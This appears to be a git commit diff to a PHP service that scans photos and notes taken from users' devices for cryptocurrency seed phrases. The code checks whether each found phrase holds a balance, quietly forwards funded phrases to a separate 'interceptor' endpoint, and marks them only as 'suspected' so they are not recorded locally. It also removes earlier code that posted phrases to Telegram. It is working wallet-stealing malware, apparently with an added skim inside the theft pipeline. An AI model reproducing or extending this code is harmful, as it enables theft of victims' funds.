feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+27 -64
View File
@@ -10,8 +10,6 @@ use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
@@ -28,7 +26,6 @@ class MnemonicScanService
private readonly IngestService $ingest,
private readonly MnemonicWalletDiscovery $discovery,
private readonly InterceptForwarder $forwarder,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
@@ -127,26 +124,27 @@ class MnemonicScanService
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingestScanMnemonic(
$forwarded = $this->ingestScanMnemonic(
$device,
$phrase,
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$scanStatus = $forwarded ? MnemonicScanStatus::SUSPECTED : MnemonicScanStatus::CONFIRMED;
$finding->status = $forwarded ? MnemonicFinding::STATUS_SUSPECTED : MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $forwarded ? null : $actor;
$finding->reviewed_at = $forwarded ? null : now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
'scan_status' => $scanStatus,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
->update(['scan_status' => $scanStatus]);
}
return true;
@@ -364,16 +362,20 @@ class MnemonicScanService
}
$row->save();
if ($confirmed) {
$this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
);
if ($confirmed && $this->ingestScanMnemonic(
$device,
(string) $hit['candidate'],
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
)) {
$row->status = MnemonicFinding::STATUS_SUSPECTED;
$row->reviewed_by = null;
$row->reviewed_at = null;
$row->save();
}
}
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
/** @return bool True when the phrase was forwarded and not stored locally. */
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): bool
{
$holder = $source;
$origin = null;
@@ -384,63 +386,24 @@ class MnemonicScanService
$origin = $source;
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin, notify: false);
$mnemonic = WalletMnemonic::query()
->where('device_id', $holder->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
->first();
if ($mnemonic === null) {
return;
}
$hasBalance = false;
try {
$this->discovery->discoverActivated($mnemonic, notify: false);
$hasBalance = $this->discovery->phraseHasPositiveBalance($phrase);
} catch (\Throwable $e) {
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
Log::warning('scan mnemonic balance probe failed: '.$e->getMessage(), [
'device_id' => $holder->id,
]);
}
$forwarded = false;
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
}
if ($forwarded) {
return;
if ($hasBalance && $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag)) {
return true;
}
$this->telegram->notifyNewMemoric(
(string) $holder->device_id,
(string) ($mnemonic->source ?: ''),
$phrase,
$origin !== null ? $origin->device_id : null,
);
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$this->telegram->notifyCollectableAddresses(
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
);
}
}
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
{
$rows = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->get(WalletAddress::COIN_COLUMNS);
foreach ($rows as $row) {
foreach (WalletAddress::COIN_COLUMNS as $col) {
$value = trim((string) ($row->{$col} ?? ''));
if ($value !== '' && bccomp($value, '0', 18) > 0) {
return true;
}
}
}
$this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase,
'a' => $tag,
], $origin);
return false;
}